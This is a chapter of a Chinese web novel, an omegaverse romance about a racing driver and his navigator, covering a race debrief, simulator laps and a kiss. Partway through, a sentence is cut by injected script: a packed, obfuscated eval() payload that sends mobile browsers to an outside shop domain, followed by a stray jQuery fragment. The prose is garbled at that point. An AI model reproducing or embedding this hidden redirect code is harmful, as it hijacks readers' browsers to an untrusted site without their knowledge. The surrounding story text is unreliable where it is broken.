谢絮初没有说话，他低着头拧了一下矿泉水瓶的盖子，拧紧了又松开，松开了又拧紧。
“早点睡，”他说，“明天还要跑第二站。”
“嗯。”
谢絮初转过身走了两步，又停下来。
“封辞柯。”
“嗯。”
“你今天开得很好。”
谢絮初说完就走了，鞋踩在地毯上没有声音。封辞柯站在门口看着他的背影走远，看着走廊尽头的感应灯一盏一盏地亮起来又暗下去。
他靠在门框上站了很久，久到走廊的灯全灭了，只剩下头顶那一盏还亮着。
他伸手摸了一下自己的后颈，腺体的位置还在发热，山茶花的信息素在走廊里扩散，淡淡的。
第二天上午的复盘会在酒店的会议室里开。周至诚把封辞柯最后一圈的数据投在屏幕上，每一段路、刹车点、油门开度都被放大成一条条曲线。
封辞柯看到那条T9出弯的油门曲线，斜率比模拟器的最优解还要陡，意味着他的油门踩得比训练中任何时候都快。
“这里，”周至诚用激光笔点在那条曲线上，“油门早了零点一秒。正常的逻辑是这么早开油车尾会甩，但你的走线比平时更贴近内侧，车身姿态本来就是往外的，早开油反而抵消了那股往外甩的力。”他顿了一下，把激光笔关掉，“这个弯你以后可以按照这个走线来跑。”
谢絮初坐在封辞柯对面，手里拿着一支笔没有写字，笔尖点在笔记本的纸页上，那个墨水点在纸面上洇开成一朵小小的花。
姜瑾瑜坐在角落里，手机调了静音但他还是忍不住划开屏幕。信标上的热搜还挂着昨晚那几条词条，有一位谢絮初的粉丝做了一个新的应援视频，配乐是某首非常流行的口水歌，歌词本身没毛病，但配上谢絮初在赛道上冷静指挥的画面显得格外好笑。
视频的封面是谢絮初的一个冷漠特写，上面P了一行大字——“你跑得对不跑得对关我什么事，我只是你的领航员。”
姜瑾瑜捂着嘴把手机递给林久安。林久安看了几秒又把手机递回来，两个人交换了一个眼神，都没有说话。
陆鸣在旁边看着自己的数据，他的比赛在封辞柯之后，从第十五位发车最终第八完赛，拿到四个积分。
于芡坐在他旁边，笔记本翻到那一页，上面密密麻麻写满了批注。陆鸣偷偷看了一眼，看到“发车反应慢了零点零五秒”下面画了一条波浪线，“T7走线偏保守”一条横线，“整体表现合格”两条横线。
他盯着那两横线看了好几秒，嘴角不自觉地翘了一下。
海港城码头站的喧嚣在一周后渐渐平息。车队回到基地，山山在控制室的笼子里等了一整天，看到谢絮初走进来的时候从吊床上翻了个身，露出肚皮，四只爪子蜷着，尾巴搭在笼子栏杆上。
谢絮初打开笼子门把它托出来放在手心里，山山打了个哈欠露出粉红色的舌头，然后缩成一团闭上眼睛。
周至诚从门口进来，保温杯端在手里，看到谢絮初手心里的雪貂没说话，走到控制台前面坐下，打开屏幕开始看下一站的数据。
姜瑾瑜在隔壁房间整理赞助商发来的祝贺邮件，每一封都要回复。林久安帮他筛选出需要重点维护的几个大客户，剩下的拟了统一回复模板。姜瑾瑜一边打字一边跟林久安说絮哥那个新视频你看了没有。
“哪个新视频。”
“就是那个‘你跑得对不跑得对关我什么事’那个。”
林久安沉默片刻，“那不是粉丝剪的。”
“啊？”
“那是车队官方剪的，我让宣传部做的。想挽回一下形象。”他又沉默了一下，“好像没有挽回成功。”
姜瑾瑜看着他那张没什么表情的脸，觉得这个人比谢絮初粉丝还抽象。
封辞柯在模拟器室里跑下一站的数据。环形屏幕上是一条全新的赛道，位于另一个城市的街道，弯道比海港城更窄，路面更颠簸。
谢絮初坐在领航员的位置上，面前的控制面板亮着，他的手指在面板上滑动，调出每一个弯道的详细数据。
“T5是个高速右弯，入弯速度三百一，弯道外侧是防护墙，没有缓冲区。走线偏保守一点，不要贴墙太近。”
封辞柯应了一声，把赛车开上虚拟的赛道。引擎声在模拟器室里回荡，他的双手在方向盘上稳稳地握着，每一个弯道都走得精准有力。
十圈跑完他摘了头盔，头发被汗浸湿了几缕，贴在额头上，那双浅色的眼睛被屏幕的光照得很亮。谢絮初看着他额头上的汗珠从眉骨滑下来，滴在防火内衣的领口上。
他伸手抽了一张纸巾递过去，“擦擦。”
封辞柯接过去擦了一下额头，纸巾湿了大半。他把纸巾叠了一下又擦了一次，叠成一个方方正正的小块放在控制台边上，那是他一贯的习惯，擦过的纸巾也要叠整齐。
“下一站什么时候。”
“下个月三号，还有十九天。”
封辞柯点了点头，重新戴上头盔，拉下镜片，按下方向盘上的启动键。
环形屏幕上的赛道重新亮起来，赛车的虚拟影像停在发车线上，引擎转速表的指针跳了一下，稳定在怠速的位置。
封辞柯的右脚踩下油门，车身弹射出去，速度表上的数字从零开始往上跳，一百，两百，两百五，三百。风声从音响里传出来，尖锐的呼啸声灌满整个模拟器室。
谢絮初的手指在控制面板上滑动，报出每一个弯道的入弯速度、弯心速度、出弯速度。
封辞柯的圈速在第三圈就超过了昨天的最快圈，第五圈又快了零点一秒，第八圈再快了零点零五秒。他没有停，第十圈比第九圈快了零点零二秒，第十五圈又快了零点零一秒。
进步越来越小，越来越难，但每一圈都在往前推进一点点，像一个人在黑暗中摸索前进的方向，手伸出去了，触到一面墙，就换一个方向再伸出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623390|204126||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
去。他跑完二十圈，把车停在虚拟的维修区，摘下头盔转过头看向谢絮初。
“够了吗。”
“够了。”
封辞柯从驾驶舱里出来，他把手握成拳头又松开，红印子没有消失，像刻进去的一样。
“下一站我们会赢。”封辞柯说。
谢絮初看着他，“我知道。”
两个人对视了几秒，谁都没有移开目光。模拟器室的灯光把封辞柯的脸照得很清楚，眉骨的弧度，下颌线的走向，嘴唇抿成一条线。
谢絮初看着那张脸忽然想起一件事，那个废弃天文台的圆顶裂缝漏下来的星光和轻得像蝴蝶触碰的吻。
“你那天的那个问题。”谢絮初说。
封辞柯看着他。
“你问我为什么亲你。”
封辞柯站在那里，山茶花的信息素从腺体里溢出来，在模拟器室里扩散。
谢絮初走到他面前，仰起头，踮起脚尖，嘴唇贴在他嘴角上。
这一次贴了足够久，久到两个人都不确定过了几秒，久到谢絮初的脚尖因为踮得太久开始发酸。他脚跟落回地面，退开半步，呼吸比平时重了一些。
“因为我想。”他说。
封辞柯的喉结动了一下，“絮哥。”
“嗯。”
“你刚才亲我了。”
“嗯。”
“第二次了。”
谢絮初看着他那双被屏幕光照亮的眼睛，“你数着的？”
“嗯。”
两个人站在模拟器室中间，空调出风口的细微风声从头顶传下来，控制面板上的屏幕还亮着，赛道图在黑暗中发着幽蓝色的光。
周至诚的脚步声从走廊尽头传来，由远及近，两人同时退开一步。
周至诚推门进来的时候看到谢絮初站在控制台前面看数据，封辞柯站在模拟器驾驶舱旁边整理手套。
他把保温杯放在桌上，打开屏幕开始看刚才那二十圈的数据，看到第十五圈的时候咦了一声。
“这一圈的走线，封辞柯你重新跑一下试试，这个弯的入弯速度可以再高一点。”
封辞柯走过去低头看着屏幕，谢絮初也凑过去。三个人围在控制台前面像三只凑在一起看什么东西的企鹅，谢絮初的肩膀碰到封辞柯的手臂，封辞柯没有躲，谢絮初也没有让。
姜瑾瑜从门口探进头来，“阿姨问晚上吃什么，红烧肉还是糖醋排骨。”
“都要。”周至诚头都没抬。
姜瑾瑜缩回去了，走廊里传来他的声音，“久安，周工说都要。”
林久安的声音隔着一堵墙传过来，听不清说了什么，但姜瑾瑜笑了一声，笑声在走廊里弹了好几下才消失。
山山从控制室的笼子里探出头，鼻子一抽一抽地嗅着什么味道，然后缩回去了。
谢絮初站在控制台前面，感受着封辞柯手臂传来的温度，隔着两层衣服，不怎么真切，但他知道它在。